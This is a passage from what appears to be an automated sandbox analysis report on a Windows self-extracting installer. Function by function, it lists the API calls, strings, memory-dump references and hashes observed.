WaitForSingleObject.KERNEL32 ref: 00007FF681C248D2
GetExitCodeProcess.KERNELBASE ref: 00007FF681C248E8
CloseHandle.KERNEL32 ref: 00007FF681C24989
CloseHandle.KERNEL32 ref: 00007FF681C2499A

Strings

, xrefs: 00007FF681C248A4

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWait
String ID:
API String ID: 976364251-3916222277
Opcode ID: 67f5a8c114559d55dd8cf19d65e8c653d15ae20e01125bbcfa2d4a6a434563c8
Instruction ID: 923374b68ed5b46bc96bab67bcc4a2cec48c7f686e341a53e5ba24e646b91fec
Opcode Fuzzy Hash: 67f5a8c114559d55dd8cf19d65e8c653d15ae20e01125bbcfa2d4a6a434563c8
Instruction Fuzzy Hash: 48515F72A18A82C7F7609B10E454379BBB0FF9D755F246139E94D826A8CFBCD444CB00

Function 00007FF681C265A8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveDirectoryA.KERNELBASE(0000000A,00007FF681C22E07), ref: 00007FF681C26643
GetFileAttributesA.KERNELBASE ref: 00007FF681C26652
GetTempFileNameA.KERNEL32 ref: 00007FF681C2667F
DeleteFileA.KERNEL32 ref: 00007FF681C26697
CreateDirectoryA.KERNEL32 ref: 00007FF681C266A8

Strings

IXP%03d.TMP, xrefs: 00007FF681C265E2
IXP, xrefs: 00007FF681C26672

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: File$Directory$AttributesCreateDeleteNameRemoveTemp
String ID: IXP$IXP%03d.TMP
API String ID: 4001122843-3932986939
Opcode ID: cd7b86485b10685b83dcd6330150a770b90a6da73959a3ca5b2625007923a5f8
Instruction ID: 73751bad6154fc8970773c3158d9a9fe882c07f126b6e052c7f62770639ff548
Opcode Fuzzy Hash: cd7b86485b10685b83dcd6330150a770b90a6da73959a3ca5b2625007923a5f8
Instruction Fuzzy Hash: 9B316D71708A91C7EB209B11E9502B97AB1FF8EB81F65A139DE4E83795CF3CD405C610

Function 00007FF681C28460 Relevance: 12.1, APIs: 8, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF681C28BF4: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF681C28C24
Part of subcall function 00007FF681C28BF4: GetCurrentProcessId.KERNEL32 ref: 00007FF681C28C32
Part of subcall function 00007FF681C28BF4: GetCurrentThreadId.KERNEL32 ref: 00007FF681C28C3E
Part of subcall function 00007FF681C28BF4: GetTickCount.KERNEL32 ref: 00007FF681C28C4A
Part of subcall function 00007FF681C28BF4: GetTickCount.KERNEL32 ref: 00007FF681C28C5A
Part of subcall function 00007FF681C28BF4: QueryPerformanceCounter.KERNEL32 ref: 00007FF681C28C75

GetStartupInfoW.KERNEL32 ref: 00007FF681C28495
_amsg_exit.MSVCRT ref: 00007FF681C284D0
Sleep.KERNEL32 ref: 00007FF681C284DF
_initterm.MSVCRT ref: 00007FF681C28577
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF681C285A4
exit.MSVCRT ref: 00007FF681C28640
_cexit.MSVCRT ref: 00007FF681C2864F
_ismbblead.MSVCRT ref: 00007FF681C2866F

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: 452453f8cba86726c033ce9af079bec980333149c11a377a6a6421c59040ebf2
Instruction ID: 40165836b2c216d72846bb9eeadfcbcc68557bd1860dce2cffafaf7094567c46
Opcode Fuzzy Hash: 452453f8cba86726c033ce9af079bec980333149c11a377a6a6421c59040ebf2
Instruction Fuzzy Hash: 7A611571A08646C7FBA09B22E89037A22F0FF4C794F64613DD94DC26A5DF3CE845D644

Function 00007FF681C26294 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF681C2324B), ref: 00007FF681C262B9
LocalFree.KERNEL32 ref: 00007FF681C26332

Part of subcall function 00007FF681C24F2C: LoadStringA.USER32 ref: 00007FF681C24FBC
Part of subcall function 00007FF681C24F2C: MessageBoxA.USER32 ref: 00007FF681C24FFC

Part of subcall function 00007FF681C27958: GetLastError.KERNEL32 ref: 00007FF681C2795C

Strings

<None>, xrefs: 00007FF681C2634A
UPROMPT, xrefs: 00007FF681C262A1, 00007FF681C262FE
, xrefs: 00007FF681C26388

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: $<None>$UPROMPT
API String ID: 957408736-2569542085
Opcode ID: bce953315df2136bd9c83a7e38e7c9bcfbdf6b05f60fc9f9bc5cb1955f243e78
Instruction ID: d35b92d19be5f3300e61f321c0459e4962931b5318b8365f9324c227bf526d01
Opcode Fuzzy Hash: bce953315df2136bd9c83a7e38e7c9bcfbdf6b05f60fc9f9bc5cb1955f243e78
Instruction Fuzzy Hash: 12316DB1A08352C7F7609B20E55467A7A70FF9D786F60613DDA4E82690DFBDD004CB00

Function 00007FF681C255C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 164filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF681C25647
CreateFileA.KERNELBASE ref: 00007FF681C25705
CreateFileA.KERNEL32 ref: 00007FF681C257BE

Strings

*MEMCAB, xrefs: 00007FF681C2563D

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: a2c1f66350d6024a7f804a88bc9b7da19f54bdbcb5e3280bfb267e90ce3ff26c
Instruction ID: 0e2e8f4b8e51f0a7c8927356e76420b8b8e903718e5b5ee6dece17279f3a09e5
Opcode Fuzzy Hash: a2c1f66350d6024a7f804a88bc9b7da19f54bdbcb5e3280bfb267e90ce3ff26c
Instruction Fuzzy Hash: 4661A362A58781C7F7608B14E4843BA7AA1FF5DBA4F646339CA6E427D0CF7CA405C600

Function 00007FF681C25AF1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF681C25BA0
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF681C25BBA
SetFileTime.KERNELBASE ref: 00007FF681C25BE2
SetFileAttributesA.KERNELBASE ref: 00007FF681C25C18
SetDlgItemTextA.USER32 ref: 00007FF681C25C4B

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C25B67, 00007FF681C25C5B

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: FileTime$AttributesDateItemLocalText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 851750970-4151094324
Opcode ID: caf4f2272670990647462f14bfaf3187ac79d74cb37a0834bbd78866cb2a2d6f
Instruction ID: 409435ffa0dec570b828188150cc341c74e2e2daa487a3ee025a3e3297b094be
Opcode Fuzzy Hash: caf4f2272670990647462f14bfaf3187ac79d74cb37a0834bbd78866cb2a2d6f
Instruction Fuzzy Hash: A6515932A18A46D3EB609B21D4001FA67B0FF8CB65F64623ADA5F936D4DE3CE545CB40

Function 00007FF681C26D9C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00007FF681C26DCC

Strings

TMP4351$.TMP, xrefs: 00007FF681C26E6E

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: AllocLocal
String ID: TMP4351$.TMP
API String ID: 3494564517-2619824408
Opcode ID: c669d64d882b60482da13300ba4968c1aecf883c3203920dff0371cbf708ca20
Instruction ID: cbe72b7eaecd32667b9621f106e3450ee698faab61c7eedaa008f0edf183329e
Opcode Fuzzy Hash: c669d64d882b60482da13300ba4968c1aecf883c3203920dff0371cbf708ca20
Instruction Fuzzy Hash: 70418C62A08791C7FB508B24E4143B97AA0BF99BA5F686238DA6E837D5CF7CD445C700

Function 00007FF681C223C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF681C22410
RegQueryValueExA.KERNELBASE ref: 00007FF681C22441
RegCloseKey.KERNELBASE ref: 00007FF681C2245F

Strings

PendingFileRenameOperations, xrefs: 00007FF681C2242F
System\CurrentControlSet\Control\Session Manager, xrefs: 00007FF681C22402

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager
API String ID: 3677997916-3057196482
Opcode ID: 72a84aa0c0c68ebabc0f94760f7052dc41f3436717cb00a692564cbfb68d1e7c
Instruction ID: 0589e37b95ff00bd6b2f9e630fe8387ff7b6fa616a2ea42b6d06a59893a09063
Opcode Fuzzy Hash: 72a84aa0c0c68ebabc0f94760f7052dc41f3436717cb00a692564cbfb68d1e7c
Instruction Fuzzy Hash: B2114C36A08B52C7E7109B55E45057AA6B0FF8D750FA0623DDBED82B58DF2DD444CA00

Function 00007FF681C258D0 Relevance: 3.1, APIs: 2, Instructions: 51fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF681C23C80: MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF681C23B49), ref: 00007FF681C23CA4
Part of subcall function 00007FF681C23C80: PeekMessageA.USER32 ref: 00007FF681C23CC9
Part of subcall function 00007FF681C23C80: PeekMessageA.USER32 ref: 00007FF681C23D0D

WriteFile.KERNELBASE ref: 00007FF681C25924

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: df09df05b6a8f76d98ff4e568d39aff5741097c23a6c3239c69c04500cd56e3d
Instruction ID: 909960f55e84e8fe4e63b51cf11a190e53b356c7e46e01ee77ba730b887b4fb1
Opcode Fuzzy Hash: df09df05b6a8f76d98ff4e568d39aff5741097c23a6c3239c69c04500cd56e3d
Instruction Fuzzy Hash: 22214F61B08582C7E7108F16E8443766771BF9E7A4F24A239D95E866A4CFBCD405CB44

Function 00007FF681C253B8 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF681C253C5
SetFileAttributesA.KERNEL32 ref: 00007FF681C2544A

Part of subcall function 00007FF681C27D28: FindResourceA.KERNEL32 ref: 00007FF681C27D52
Part of subcall function 00007FF681C27D28: LoadResource.KERNEL32 ref: 00007FF681C27D69
Part of subcall function 00007FF681C27D28: DialogBoxIndirectParamA.USER32 ref: 00007FF681C27D9F
Part of subcall function 00007FF681C27D28: FreeResource.KERNEL32 ref: 00007FF681C27DB1

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 4017b6c058a6be902cddc169abc6d9dcaedc57a8715b21c16ee5d7d8bc7a3f89
Instruction ID: 7317268b8727a5efe077ba06f14b1b453fa88e05b62b1ec3d1259383448f5e3f
Opcode Fuzzy Hash: 4017b6c058a6be902cddc169abc6d9dcaedc57a8715b21c16ee5d7d8bc7a3f89
Instruction Fuzzy Hash: 01115731A0C642C3FB508B14E4443B6A6B0FF4E759F34A238C94E866A5CFBDE885C201

Function 00007FF681C27E08 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF681C27E4F

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: f69c92ee4560cd4f0bb57aa589b20250cdd633262219f505effccc195a14fdcf
Instruction ID: c446ba884318ea052a061bff805a11e8589b1086211a1754fdf51fddce7bc99d
Opcode Fuzzy Hash: f69c92ee4560cd4f0bb57aa589b20250cdd633262219f505effccc195a14fdcf
Instruction Fuzzy Hash: EA01C451A0C7C1CBF7104B15E48022DBAA1BB59BA0F686238DB69867D6CF2CDC42C700

Function 00007FF681C259B0 Relevance: 1.3, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF681C259E9

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c7d790a02c12fb3e5c56208d3f056b28bd5316e6bc6357f0cdb18446cbb40734
Instruction ID: f0ef2bd5277e21b5cb93921db215a3eab74ef188f454957b73bc0f129dfd7b02
Opcode Fuzzy Hash: c7d790a02c12fb3e5c56208d3f056b28bd5316e6bc6357f0cdb18446cbb40734
Instruction Fuzzy Hash: B6F0F9326186C2D3EB184F25F5821B976B0FB4DB98F245239DA2B86694CE7CD481C710

Non-executed Functions

Function 00007FF681C2366E Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 177windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF681C236EA
EndDialog.USER32 ref: 00007FF681C23892
GetDesktopWindow.USER32 ref: 00007FF681C238C2
SetWindowTextA.USER32 ref: 00007FF681C238E3
SendDlgItemMessageA.USER32 ref: 00007FF681C23907
GetDlgItem.USER32 ref: 00007FF681C23924
EnableWindow.USER32 ref: 00007FF681C23935
EndDialog.USER32 ref: 00007FF681C23948

Strings

, xrefs: 00007FF681C237F6
gam, xrefs: 00007FF681C238D9
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C23775

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $C:\Users\user\AppData\Local\Temp\IXP000.TMP\$gam
API String ID: 3530494346-2071722121
Opcode ID: e9cf0d75e323af3365a6df2e5f3018c508b1f812908897c7a83c784c3a62c979
Instruction ID: 542812c723df2015dcee840e0c4d50d312b82b489ed41970f3284c8036d71eb7
Opcode Fuzzy Hash: e9cf0d75e323af3365a6df2e5f3018c508b1f812908897c7a83c784c3a62c979
Instruction Fuzzy Hash: 47716261E0C682CBF7609B21E5043796AB1BF9DB91F74B139CA4E86695CFBCE485C700

Function 00007FF681C25F7E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C25FB0
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C25FC1
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C25FD0
GetDlgItem.USER32 ref: 00007FF681C25FFD
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C2600E
GetDlgItem.USER32 ref: 00007FF681C26026
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF681C23432), ref: 00007FF681C2603A
FreeResource.KERNEL32 ref: 00007FF681C26151
SendMessageA.USER32 ref: 00007FF681C261B3

Strings

CABINET, xrefs: 00007FF681C25F8D, 00007FF681C25FA7

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: CABINET
API String ID: 1305606123-1940454314
Opcode ID: 4cdd7ba035a56cc670f5a63f2d2ca6f6db77a2e8fb1204e6d46781fc6b5b295a
Instruction ID: 6b8ede4c814f1b8f741f81f8aeaa4480b42879ac9a99379c8303e686e444bf84
Opcode Fuzzy Hash: 4cdd7ba035a56cc670f5a63f2d2ca6f6db77a2e8fb1204e6d46781fc6b5b295a
Instruction Fuzzy Hash: A0415971A08692C7FB509B60E8547796AB0FF8DB56F74A13CC90E82791DFBDE044C600

Function 00007FF681C21130 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF681C2116D
GetProcAddress.KERNEL32 ref: 00007FF681C2118F
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF681C211DC
FreeSid.ADVAPI32 ref: 00007FF681C2120E
FreeLibrary.KERNEL32 ref: 00007FF681C2121D

Strings

CheckTokenMembership, xrefs: 00007FF681C21185
advapi32.dll, xrefs: 00007FF681C21160

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 971b975d9a4f17aab5bf5b76504fa1808b97cf8c325f714dc856488252334909
Instruction ID: 34741363dfc581039714deecbec07583872b0d9fad487e18307424b88ce66306
Opcode Fuzzy Hash: 971b975d9a4f17aab5bf5b76504fa1808b97cf8c325f714dc856488252334909
Instruction Fuzzy Hash: 6031B276608B45CBE7508F56E4441AABBB0FB8EB90F656129EE4E83714DF3CE545CB00

Function 00007FF681C21BF4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF681C22EA5), ref: 00007FF681C21C09
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF681C22EA5), ref: 00007FF681C21C22
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF681C21C63
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF681C21C9A
CloseHandle.KERNEL32 ref: 00007FF681C21CAD
ExitWindowsEx.USER32 ref: 00007FF681C21CD9

Strings

SeShutdownPrivilege, xrefs: 00007FF681C21C5C

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

